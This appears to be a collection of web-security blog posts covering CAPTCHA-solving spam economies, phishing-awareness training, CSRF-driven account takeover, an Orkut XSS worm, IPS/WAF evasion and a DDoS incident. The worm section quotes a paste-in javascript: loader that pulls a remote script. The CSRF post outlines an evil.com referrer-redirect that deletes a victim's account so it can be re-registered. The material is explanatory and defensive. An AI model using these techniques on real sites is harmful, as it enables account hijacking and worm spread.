After almost a year, I’ve decided to re-visit an old post I wrote regarding solving CAPTCHAs for cash. Specifically, people that want to use Google or Yahoo to spam, by automatically signing up for thousands of email accounts which requires humans to solve CAPTCHAs for them. According to MessageLabs, webmail based spam represents approximately 4.2% of all spam on the Internet - pretty significant.

There have been a number of articles on the Internet about automatic solutions to CAPTCHAs, but honestly, I find those stories somewhat dubious at best. Firstly, I don’t believe the solution rate is all that high as some people are claiming (it’s possible, but I don’t believe it’s happened for Gmail or Yahoo mail at the moment - if someone has actual proof I’d love to see it), secondly it’s super easy to change an algorithm to make it non-solvable again - keeping the automatic solutions at bay long enough to build another algorithm and so on. Lastly, there are very few people with the sophistication and know how to develop and use these tools as a percentage of the people who spam.

However, none of this issues deter a human CAPTCHA solver. If you remember my last article on this, we were seeing the economics drop significantly to where this is suddenly worthwhile, and if you read the comments of that post even more of these CAPTCHA breaking crews are popping up all over the world. Why wouldn’t they? Someone is willing to pay for it, so why wouldn’t you, if your family needed food? Sure the money may or may not belong to the spammer, but legit or not, the money is still real enough.

That leads me to something I found on the Internet while I was searching for more information on the economics of it. During my searching, I happened across some job offers for CAPTCHA breakers (also known as data entry). The advertisement was pretty intriguing:

Click to enlarge

The way the job offer is written is like it’s a stay at home sales person, or some other sort of semi-professional position. Words per minute, 12 hour shifts, a PayPal account along with an internet connection appear to be the only pre-requisites. I thought it was fascinating. Also, the economics appear to have dropped significantly from the last article I wrote a year ago. Now people are being paid $1/1000 CAPTCHAs solved, rather than five to nine times that, which is pushing this market into different directions due to increased competition. Perhaps there are other additional benefits for using a more expensive Romanian service verses the cheap version the Philippines are offering.

Unfortunately, I haven’t seen the operations personally, so I have to speculate that it’s less about the service and more about the cost of operations in the various countries. If anyone is willing to show me their operation I’d love to see it. In the mean time I think we should think about what exactly CAPTCHAs are offering us, and how we are sponsoring micro-economies in countries based on fraudulent human form filling. Is that really the goal? Is it actually the deterrent we intended? Perhaps we should be looking at other/better options.

Well, I’ve had to sit on this info for quite some time but I’m happy to see that Phishme.com is now up and running. Phishme.com is founded by the Intrepidus Group who you may have heard of, with names like Rohyt Belani and Aaron Higbee at the corporate head. What is it? It’s education, but the kind of education that actually works for a change. If you’ve read this site long enough or heard my speeches you probably know I’m not the biggest fan of consumer education. It just isn’t impactful and it doesn’t give enough incentive for people to pay attention and learn. People don’t digest the information and they don’t become armed with the correct information on what to do when faced with an attack. That is until now.

Phishme.com uses a fake phishing attack to simulate what a user might see in a really targeted (Spear-Phishing) attack against the company. Specifically it scrapes the pages of an organization’s website and then sends everyone in the company a phish email to entice them to click on it and give up their credentials. Once the user is phished their information is logged and aggregated for future use by the security team to do further communication with the impacted employees or build further metrics, etc. Screenshot of the interface:

Click to enlarge

Does it work? Preliminary numbers in at least one exercise with 24,000 people say there is a huge drop in the numbers of users who stop clicking on links. In the first run of one experiment 82% opened the email and 64% entered info. In the second 28% opened and 27% entered info and in the third 4.5% opened and 4% entered data. That’s a pretty impressive reduction because it’s actually actionable and it gets people thinking almost immediately about the problem and that it can and will negatively affect them personally. Would you rather phish your users or have the bad guys do it for you? Ethics of owning your own employees aside, I think it’s hugely valuable to know this information.

There are all sorts of legal implications for doing this to your own staff and personally I think those issues are almost completely outweighed by the benefits of solid actionable training. When I talked with Rohyt about this, I get the feeling they’ve spent a lot of time trying to make the interface as difficult as possible to inadvertantly get compromised by trying not to actually transmit the password. So all in all, I think this product is going to do a lot of companies a lot of good. I can think of a dozen or so companies that need to go through this training right now. With phishing attacks becoming a constant and ever present attack, this is a very timely product!

While looking back at some of my old speeches, and after writing the last blog post it occurred to me there is another attack I haven’t heard anyone talk about. Often times spammers will use contact member forms for spamming purposes. But most contact forms can’t spoof the contact name so this form of spamming is pretty limited. However, let’s consider another common scenario, which is that a user is allowed to change their email address. Almost never is there an email address confirmation link sent to make sure you are indeed the owner of the email address. So let’s take an actual example.

Let’s say Cathy wants to spam Alice, but Alice isn’t a member of the message board. Cathy signs up with two accounts, one to send messages from and one to receive them. Cathy logs in as the second user account and changes her email address to Alice’s. She then logs into the first user account and send the spam, which then gets routed to Alice. Then Cathy logs in to her second account, switches it to the next spam victim, logs back into her first account and sends a second spam and so on.

The limitations here are that the email must actually contain the spam message to work, so if it’s just a link back to the platform, that won’t suffice since Alice isn’t a legitimate user of the system, let alone has access to Cathy’s account. The second problem is that the email probably contains some site specific information which can easily identify the spam as such. And thirdly, many sites send an email change notification to alert users that their email has been changed, so when Cathy switches her address over and over, she will also inadvertantly be sending emails to her victims telling them that she’s switching accounts.

But in this way I believe many existing member to member communication functions can be used as spam gateways. Weird, huh?

Okay, I had more trouble naming this post than I did writing it so bear with the title, because I think this is actually a pretty interesting problem. I went out for cigars with a few uber old school hackers from a huge company last night and we got to talking about databases. I’m not exactly sure what lead my brain down the path, but I suddenly realized there’s actually some fairly tricky issues around data deletion/retention that can lead to sensitive information disclosure. Here’s how it works. Let’s say you have three people, Alice, Bob and Cathy. Alice and Bob are both good users of a web site message board. Maybe they have special privileges, or maybe they are just communicating privately and Cathy wants that information.

In a secure database setup, if a user is deleted from a system no other user can take over their information after they are gone from the system. It’s not deleted (for data integrity/forensics, etc…) but it should be inaccessible to users. However, it turns out that not all database structures are made equal. Sometimes people use usernames as primary keys, or hashes of usernames, etc… instead of a non-reputable number. So let’s say Alice had her account deleted (intentionally or accidentally) there is an opportunity for Cathy to create a user account with the same name as Alice’s username and suddenly gain access to the same information that was supposed to be accessible only to Alice.

Let’s take this further and bring back an old favorite and normally not all that interesting attack - DoS by CSRF - that is forcing a user to click on a “delete my account” link. Typically DoS isn’t all that interesting to me, but here’s where you can actually use it to take over the account. This all relies on knowing the username of the person you are attempting to compromise. So let’s say Cathy creates an account on the message board. On a forum she places an image link to http://www.evil.com/x.php?.jpg which looks at the referring URL before making the decision on whether to show a benign image, or redirect the user’s browser via 301 or 302 redirect to the delete user function (eg: http://www.good.com/deluser.php). If the referring URL contains the username “Alice” the Alice user’s browser automatically is redirected and the account is deleted.

At this point Alice is probably almost immediately aware that her account has been deleted, so it is time critical that Cathy immediately registers with the same name “Alice”. Assuming the database uses the registered user as the primary key (or some derivation of the user name) it is possible for Cathy to now assume control over Alice’s account. Now she can read Alice’s private communication with Bob, or if Alice had some administrative controls, it might be possible for her to do other nefarious things, like promote other user’s access, etc…

There is an alternative to trying to detect Alice’s name in a referring URL. One example is if images can be sent within private messages or other out of band communications, assuming Alice is already logged in it will have the same net effect of targeting the individual user. It’s also fairly easy to detect this in a blackbox situation simply by creating an account, using all the functions, deleting it and re-creating the same name to see if any data was retained during the creation of the account. The point being, it’s bad form to use a username as a primary key unless it’s forever off limits for future users attempting to re-assume that username. Kind of an esoteric problem, but as I talked with the gurus, at least one of them had actually seen this happen in his own penetration tests against some very large well known companies. So there you have it, it’s not even just a theoretical attack. Yet another thing to look out for and at least one good reason to protect account deletion functions from CSRF.

Well, it was a long Sunday. I was planning on going and hitting some balls on the golf course, but no, instead I spent the better part of the day dealing with a DDoS attack. Before it was completely killed 73 IPs were used to perform a flood of GET requests against sla.ckers.org. Thankfully we were able to thwart the attack by writing some tricky software to detect the attack and firewall it. But it was still the better part of a day dealing with it.

The end result was we found the attacker (the owner of www.au-p2p.info who apparently was made fun of at some point a year ago on the board). When pride goes too far, eesh! More on this user here. Cyberhacker665 is in at least some way affiliated with or owns evilzone.org. The attacker did a vanity search for himself before initiating the attack. The original IP was tracked back to the attacker’s ISP, who was sent an abuse email and now the user is offline for the time being. We effectively DoSed the DDoSer. It’s too bad, I had long forgotten about that post - apparently he hasn’t.

This wasn’t the first high volume traffic incident we’ve received (we’ve been slashdotted several times, and reached the front page of Digg and Reddit as well) and we get tons of attacks per day. But this was probably one of the worst. Just another day on ckers.org… Golfing would have been better use of a Sunday, even if I suck at it.

Anurag is the man behind a new web application security certification. Offered as a joint WASC/SANS cert, it’s aiming to be the de-facto web application certification program for people in our field. Regulating the industry may not be all that bad of an idea, given that I see more bad security people than good. But beyond that it’s cool to see the industry growing up where it needs full fledged certification.

Anyway, if you want to have some input on things that you’d like to see in the cert, now’s your chance. Click the link above and go to his surveymonkey link and spend a few minutes filling it out if this is at all interesting to you. Speak now or forever hold your peace.

Now the real question is, I wonder if I’ll pass this cert. Hey, Anurag, can I get some sort of an exemption? I never was very good at test taking!

I’m a little behind the times, catching up on my email, but I thought I’d post this first since it’s probably some of the most interesting stuff. Keyshor just sent me an interesting snippet related to another Orkut worm that I’m affectionately calling “Crush” given the mode of transport, which is the Orkut crush. Here’s Keyshor’s email (cleaned up slightly):

This is the vulnerable scrap

Find out who has crush on u….
wait 4 few minutes after pressing enter
Author–> Coder http://www.orkut.com/Profile.aspx?uid=12437994075478369725>:)
Just copy the JavaScript, paste it in your address bar and PRESS ENTER

*javascript:d=document;c=d.createElement('script');d.body.appendChild(c);c.src='http://002292.googlepages.com/crush.js';void(0)*

Trust me, ITS WORKING!!!

The site is down now, but I threw up the JavaScript source in the list of XSS worms so people could check it out. I was able to pull another version that was still alive here. It also appears that it may at least at one point have been a greasemonkey plugin by the headers, which is an interesting way to debug your DHTML malware, I suppose. Anyway, great snippet for those who want to do some more analysis.

I’ve been meaning to post this since Blackhat last year, but I just finally got around to posting a working example. Using David Byrne’s res:// timing trick and a hybrid of Jeremiah’s META refresh blocking I was able to do the same thing David was but without JavaScript. Oh how funky it is though!

Here’s the demo (only works in IE7.0). The timing is large enough so that you can actually see a difference (varies between a 5 and 15 second difference for me per link - for reasons I am still unsure of). But it’s a big enough difference that it should be possible to measure the file’s presence. The hard part is keeping it going without a user noticing that their browser locked up on them for the many seconds required to run. Pretty funky demo, and normally I’d probably set a cookie to keep the data but I got bored of writing the demo since I don’t think it’s especially practical. But you get the idea.

In other news, I should also mention that I got back from the Minnesota OWASP meeting. I was really surprised to see how many people came out to see me (probably 75 or so). All really nice people and I was impressed by Kuai and the entire setup. Very nicely done. I think my slides will be posted today or tomorrow. I guess Bruce Schneier spoke there the month before I did, so these guys definitely have got their eye on the heavy hitters for those of you on the speaking circuit. I also spoke on Minnesota Public Radio as well, which was kinda fun. I hope it continues to grow!

I missed Schmoocon and DC Blackhat but here is the unofficial list of my upcoming cons: Source Boston (leading a panel), RSACon 2008 (just visiting), TRISC (speaking), Secure360 (speaking - unconfirmed), Super Secret SANS Conference to be talked about at a later date (speaking), OWASP Denver (speaking - unconfirmed), World OWASP NYC 2008 (speaking). So yah, busy busy busy…

I’ve wrestled with the concept of inline devices to stop attacks for a long time. Disclaimer: no names of companies will be used in this post. However, there are legitimate reasons both to have inline devices and not to as well. Let’s look at the cons of inline security protection devices for a moment. The major cons of an out of band device have to do with high availability and throughput. In many networks even a fraction of a second delay is totally unacceptable. Packet loss is a non-starter too so an inline device must be able to handle the throughput that the pipe can generate (potentially gig line speeds). Also, the device cannot create a single point of failure, often requiring double the hardware for inline devices, which makes out of line boxes potentially more cost effective (assuming the cost of the switch, for the span port, or tap isn’t too high). Those things combine to make a pretty complex solve if you are determined to have an inline device.

Now the advantages of inline devices is that they can decelerate SSL traffic without requiring an extra external SSL accelerator and that they can see everything and potentially block anything that they detect as malicious. Let’s look at the difference in how an out of band IPS/WAF type device would have to work. Either it can make firewall rule entries by connecting to the firewall in front of the web application or it uses the China method of RST packets in one or both directions. Now, let’s dissect that scenario for a second.

For XSS this isn’t a terrible solution. RST packets in both directions means that anyone getting duped into clicking a link won’t see the resultant malicious JavaScript return to them. That’s great! Now let’s take SQL injection. There are two types of SQL injection that should be considered. The first is where I want to dump all the results from a database, or set my user account to be something other than what it should be which gives me a different sort of auth cookie - both require something to be sent back to the attacker, and because HTTP is a noisy protocol it’s totally feasible that it could block the packet before it’s sent. The other is where I want to change a password, or drop a table - where the attacker doesn’t need to get any result back. The same is true with remote file includes, or command injection. In each of those cases, the resultant request is not necessarily important for the attacker to “see” the results from the same IP address that they were attacking from. In fact, they could easily be different IPs, on unrelated ports, or at different times of day, etc…

So out of line security devices have a severe dis-advantage when it comes to the latter injection attacks (which can often be far more dangerous than the former attacks that involve reflected results). Attackers have long known how to use different IP addresses when necessary, so I don’t see any reason why they couldn’t do so in this case to evade the device or firewall rule. Not to mention firewall rules can often end up blocking lots of innocent people who happen to be behind the same NAT. So for my money, it looks like inline devices win that round - if throughput isn’t a major concern.

Further, there is another hidden problem here. Let’s say an attacker is unsure if an active security device is in place (either inline or out of line - it doesn’t matter), but doesn’t want to get erroneous results when testing. All the attacker would have to do is intentionally send something they would know should be blocked by any decent signature, and listen for a RST packet (if it is a device that sends one to you) or wait for nothing to be returned, (if it is the kind that sends the RST packet to the server or outright blocks the connection). With a large enough sample size of various default signatures, it’s possible to do actual versioning of the exact devices as well.

Enter the dawn of IPS/WAF fingerprinting. Code samples welcome.

Arian Evans has sent me a few emails on this, so to get him off my back I’m going to do a quick post about CSRF (Cross Site Request Forgeries). Yes, it’s real, it’s used, and it’s far more dangerous than most people give it credit for. First, let’s re-cap the news. A CSRF in Gmail allowed some poor guy’s domain to get hijacked. Not too surprising, knowing how poor Google’s security is. Now, how about this one where a pharming attack was spotted in the wild that leveraged CSRF to take over victims’ routers and send all packets bound for a Mexican banking site instead to the attacker. Zulfikar Ramzan at Symantec fails to mention that much of that concept was based on my original technique which was to for the purpose of “breaking into a router” in his previous post, but alas. I like Zulfikar, so I won’t harp on him too much for missing that one.

I cannot stress more how dangerous CSRF is. “One click attacks” are not even one click in most cases. You can simply visit a web board and instead of seeing an off domain image, you are invisibly having your router get re-routed, your credit card that’s on file with XYZ.com being used for purchases, your user preferences or passwords get changed and so on. I’ve seen a number of examples of CSRF in the wild now beyond this (it’s even been used against me), and I see no reason to believe this attack is going to decrease in likelihood or as a threat in general anytime in the near future. CSRF is here to stay. It’s how the Internet was built and it’s not changing any time in the near future.